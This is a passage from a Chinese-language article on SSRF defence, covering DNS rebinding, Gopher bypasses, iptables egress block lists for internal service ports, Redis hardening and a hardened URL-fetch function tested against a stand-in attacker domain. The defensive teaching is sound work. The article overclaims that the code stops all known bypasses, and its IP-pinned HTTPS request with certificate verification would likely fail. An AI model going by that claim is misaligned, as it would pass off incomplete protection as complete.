│  └───────────────────────────────┬───────────────────────────────┘  │
│                                  │                                  │
│  ┌───────────────────────────────┴───────────────────────────────┐  │
│  │  Layer 3: 应用层                                               │  │
│  │  · DNS 解析后锁定 IP,直接使用 IP 连接                         │  │
│  │  · 禁止跟随重定向 (allow_redirects=False)                      │  │
│  │  · URL 白名单(优于黑名单)                                    │  │
│  │  · 请求超时 + 响应长度限制                                     │  │
│  └───────────────────────────────┬───────────────────────────────┘  │
│                                  │                                  │
│  ┌───────────────────────────────┴───────────────────────────────┐  │
│  │  Layer 2: DNS 层                                               │  │
│  │  · 企业内部 DNS 对 TTL < 5s 的记录强制缓存                     │  │
│  │  · DNS 查询日志 + 异常告警(同一域名 IP 频繁切换)              │  │
│  │  · 使用可信 DNS 递归服务器                                     │  │
│  └───────────────────────────────┬───────────────────────────────┘  │
│                                  │                                  │
│  ┌───────────────────────────────┴───────────────────────────────┐  │
│  │  Layer 1: 架构层                                               │  │
│  │  · SSRF 代理服务部署在隔离区(无内网访问权限)                   │  │
│  │  · 敏感服务不对外暴露                                          │  │
│  │  · 使用 Unix Domain Socket 替代 TCP 暴露                       │  │
│  └───────────────────────────────────────────────────────────────┘  │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

9.2 各层防御措施详解

防御层 措施 具体实现 防御目标
架构层 网络隔离区 SSRF 代理服务部署在独立子网,无法路由到内网 即使 SSRF 成功也接触不到内网
网络层 出站白名单 iptables/nftables 只允许访问 *.example.com:443 黑名单永远有遗漏
应用层 IP 锁定 + 禁止重定向 DNS 解析一次后用 IP 直连,allow_redirects=False 消除 TOCTOU 时间窗口
DNS 层 低 TTL 缓存 内部 DNS 对 TTL<5s 的 A 记录强制缓存 5 秒 阻止 DNS 重绑定
协议层 协议白名单 只允许 http://https://,不跟随重定向 防止 Gopher/File 等协议绕过
服务层 强制认证 Redis requirepass,ES X-Pack,K8s RBAC 即使被访问也无法执行命令

9.3 出站白名单实现

# === 出站白名单防火墙规则 ===
# 使用 iptables 实现(Linux 服务器端)

"""
# 默认拒绝所有出站
iptables -P OUTPUT DROP

# 允许 DNS 查询
iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 53 -d 8.8.8.8 -j ACCEPT

# 允许访问白名单域名对应的 IP(通过脚本动态解析)
# 例如只允许访问 api.github.com 和 cdn.example.com

# 禁止访问内网 IP 段
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -d 169.254.0.0/16 -j DROP
iptables -A OUTPUT -d 0.0.0.0/8 -j DROP

# 禁止访问 Redis 默认端口
iptables -A OUTPUT -p tcp --dport 6379 -j DROP

# 禁止访问常见管理端口
iptables -A OUTPUT -p tcp --dport 22 -j DROP    # SSH
iptables -A OUTPUT -p tcp --dport 3306 -j DROP   # MySQL
iptables -A OUTPUT -p tcp --dport 5432 -j DROP   # PostgreSQL
iptables -A OUTPUT -p tcp --dport 9200 -j DROP   # ElasticSearch
iptables -A OUTPUT -p tcp --dport 10250 -j DROP  # K8s kubelet
iptables -A OUTPUT -p tcp --dport 2375 -j DROP   # Docker
iptables -A OUTPUT -p tcp --dport 6443 -j DROP   # K8s API Server
"""

9.4 Redis 安全加固

# === Redis 安全加固配置 ===
# redis.conf

# 1. 强制密码认证
requirepass YourStr0ngP@ssw0rd!2026

# 2. 禁用危险命令
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command DEBUG ""
rename-command SLAVEOF ""
rename-command REPLICAOF ""

# 3. 绑定到 localhost
bind 127.0.0.1

# 4. 禁用保护模式关闭(启用保护模式)
protected-mode yes

# 5. 禁用特定操作
rename-command SAVE ""
rename-command SHUTDOWN ""

十、正确代码:安全的 SSRF 请求实现

下面给出一个经过安全加固的 SSRF 请求函数,覆盖了所有已知的绕过手段:

# === 安全的 SSRF 请求实现 ===
import socket
import ipaddress
import urllib.parse
import requests
from typing import Tuple, Optional
from dataclasses import dataclass

# URL 白名单(优于黑名单)
ALLOWED_DOMAINS = [
    'api.example.com',
    'cdn.example.com',
    'webhook.example.com',
]

# 危险 IP 检查
def is_dangerous_ip(ip_str: str) -> bool:
    """检查 IP 地址是否为内网/保留/危险地址"""
    try:
        ip = ipaddress.ip_address(ip_str)
    except ValueError:
        return True  # 无法解析的地址视为危险

    # 检查所有危险类型
    return any([
        ip.is_private,           # 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
        ip.is_loopback,          # 127.0.0.0/8, ::1
        ip.is_link_local,        # 169.254.0.0/16
        ip.is_reserved,          # IETF 协议保留
        ip.is_multicast,         # 224.0.0.0/4
        ip.is_unspecified,       # 0.0.0.0, ::
        str(ip).startswith('0.'),  # 0.x.x.x
    ])

# DNS 解析并锁定 IP
def resolve_and_lock_ip(hostname: str) -> Tuple[Optional[str], str]:
    """
    解析域名并返回安全的 IP 地址
    关键:只解析一次,后续直接使用解析结果
    """
    try:
        resolved = socket.getaddrinfo(hostname, None, socket.AF_INET)
    except socket.gaierror:
        return None, f"DNS resolution failed for '{hostname}'"

    # 检查所有解析结果
    for family, socktype, proto, canonname, sockaddr in resolved:
        ip_str = sockaddr[0]
        if is_dangerous_ip(ip_str):
            return None, f"Resolved IP '{ip_str}' is private/reserved/dangerous"

    # 返回第一个安全 IP(锁定使用)
    return resolved[0][4][0], "OK"

# URL 校验
def validate_url(url: str) -> Tuple[bool, str, Optional[str]]:
    """
    校验 URL 安全性
    返回: (is_safe, message, locked_ip)
    """
    try:
        parsed = urllib.parse.urlparse(url)
    except ValueError:
        return False, "Invalid URL format", None

    # 1. 协议白名单
    if parsed.scheme.lower() not in ['http', 'https']:
        return False, f"Protocol '{parsed.scheme}' not allowed (only http/https)", None

    # 2. 主机名校验
    hostname = parsed.hostname
    if not hostname:
        return False, "No hostname in URL", None

    # 3. 端口检查
    port = parsed.port
    if port and port not in [80, 443, 8080, 8443]:
        return False, f"Port {port} not allowed", None

    # 4. 域名白名单(如果启用)
    if ALLOWED_DOMAINS:
        if hostname not in ALLOWED_DOMAINS and not any(
            hostname.endswith(f'.{allowed}') for allowed in ALLOWED_DOMAINS
        ):
            return False, f"Domain '{hostname}' not in whitelist", None

    # 5. DNS 解析 + IP 锁定
    locked_ip, msg = resolve_and_lock_ip(hostname)
    if locked_ip is None:
        return False, msg, None

    return True, "URL validated", locked_ip

# 核心安全请求函数
def safe_url_fetch(url: str, timeout: int = 5, max_size: int = 1024 * 1024) -> dict:
    """
    安全的 URL 请求函数

    核心防御点:
    1. 协议白名单(只允许 http/https)
    2. DNS 解析后锁定 IP(消除 TOCTOU)
    3. 禁止跟随重定向(防止 302 → gopher 绕过)
    4. 使用 IP 直连(DNS 不再参与后续请求)
    5. 域名白名单(优于黑名单)
    6. 响应长度限制
    """
    # URL 校验
    is_safe, msg, locked_ip = validate_url(url)
    if not is_safe:
        return {"error": f"Validation failed: {msg}"}

    parsed = urllib.parse.urlparse(url)
    original_host = parsed.hostname

    # 使用锁定的 IP 构造请求 URL
    safe_url = f"{parsed.scheme}://{locked_ip}"
    if parsed.port:
        safe_url += f":{parsed.port}"
    safe_url += parsed.path
    if parsed.query:
        safe_url += f"?{parsed.query}"

    # 发起请求
    # 关键: allow_redirects=False 禁止跟随重定向
    # 关键: 使用 IP 直连,不再经过 DNS
    try:
        response = requests.get(
            safe_url,
            headers={
                'Host': original_host,       # 保留原始 Host
                'User-Agent': 'SafeFetch/1.0',
                'Accept': '*/*',
            },
            timeout=timeout,
            allow_redirects=False,  # 核心: 禁止跟随重定向!
            stream=True,            # 核心: 流式读取,控制响应长度
            verify=True,            # 强制 TLS 验证
        )

        # 如果收到重定向,检查目标是否安全
        if response.status_code in (301, 302, 303, 307, 308):
            location = response.headers.get('Location', '')
            return {"error": f"Redirect blocked (allow_redirects=False): {location[:100]}"}

        # 响应长度限制
        content_length = int(response.headers.get('Content-Length', 0))
        if content_length > max_size:
            response.close()
            return {"error": f"Response too large: {content_length} > {max_size}"}

        # 流式读取,防止内存溢出
        content = b''
        for chunk in response.iter_content(chunk_size=8192):
            content += chunk
            if len(content) > max_size:
                response.close()
                content = content[:max_size] + b"...[truncated]"
                break

        return {
            "status_code": response.status_code,
            "content_type": response.headers.get('Content-Type', ''),
            "content_length": len(content),
            "content": content.decode('utf-8', errors='replace'),
            "resolved_ip": locked_ip,
        }

    except requests.RequestException as e:
        return {"error": f"Request failed: {str(e)}"}

    except Exception as e:
        return {"error": f"Unexpected error: {str(e)}"}


# === 使用示例 ===
if __name__ == "__main__":
    # 测试正常请求
    result = safe_url_fetch("http://api.example.com/data")
    print(result)

    # 测试 SSRF 攻击(应该被拦截)
    attack_url = "http://evil.rebind.attacker.com/redirect"
    result = safe_url_fetch(attack_url)
    print(result)
    # 预期输出: {"error": "Validation failed: Domain 'evil.rebind.attacker.com' not in whitelist"}

10.1 安全代码核心要点总结

防御措施 防御的攻击手法 关键代码
DNS 解析后锁定 IP DNS 重绑定 locked_ip = resolve_and_lock_ip(hostname)
使用 IP 直连 消除 TOCTOU 窗口 requests.get(f"{scheme}://{locked_ip}...")
allow_redirects=False 302 跳转到 Gopher allow_redirects=False
域名白名单 黑名单绕过 if hostname not in ALLOWED_DOMAINS
stream=True + 长度限制 响应走私/内存溢出 iter_content(chunk_size=8192)
端口白名单 非标准端口利用 if port not in [80, 443, ...]
强制 TLS 验证 中间人攻击 verify=True

总结与核心教训

核心结论

三层 SSRF 防护被击穿的关键教训是——任何依赖"先检查后请求"的防御模型都存在时间窗口攻击的可能性。DNS 重绑定和 Gopher 协议的组合拳之所以能穿透三层防护,正是因为它精准利用了"检查阶段"和"请求阶段"之间的 TOCTOU 竞态窗口。

防御原则

  1. 白名单优于黑名单:黑名单永远有遗漏,白名单从根源上限制可访问目标。
  2. 消除 TOCTOU 窗口:DNS 解析一次后锁定 IP,用 IP 直连,不再给 DNS 重绑定机会。
  3. 禁止跟随重定向:302 跳转是最常见的协议绕过手段,allow_redirects=False 是必选项。
  4. 内网服务强制认证:Redis、K8s API、ElasticSearch 等内网服务必须设置密码和认证,即使被 SSRF 访问也无法执行命令。
  5. 网络隔离是最后防线:将 SSRF 代理服务部署在独立网络区域,从网络层切断对内网的访问能力。

防护有效性对比

防护手段 防御 DNS 重绑定 防御 Gopher 绕过 防御协议降级
URL 黑名单 无效 部分 无效
DNS 解析校验 无效(TOCTOU) 无效 无效
协议白名单 + 重定向跟随 无效 无效
DNS 解析后锁定 IP 有效
禁止跟随重定向 有效 有效
域名白名单 有效 有效 有效
出站网络白名单 有效 有效 有效
内网服务认证 有效

最终建议:不要试图在应用层完美修复 SSRF。正确的做法是将 域名白名单 + IP 锁定 + 禁止重定向 + 出站网络白名单 + 内网认证 五项措施同时部署,形成真正的纵深防御体系。任何单一措施都可能被绕过,但组合部署后攻击面将收敛到一个极小的范围内。


参考来源

  1. FreeBuf / CSDN, SSRF漏洞攻防全景解析:从挖掘实战到防御体系构建, 2026
  2. 博客园, SSRF DNS重绑定绕过法, 2026
  3. 博客园, SSRF——服务端请求伪造, 2026
  4. OWASP, Server-Side Request Forgery (SSRF) Cheat Sheet
  5. PortSwigger, Server-side request forgery (SSRF)
  6. RFC 1436, The Internet Gopher Protocol
  7. RFC 6761, Special-Use Domain Names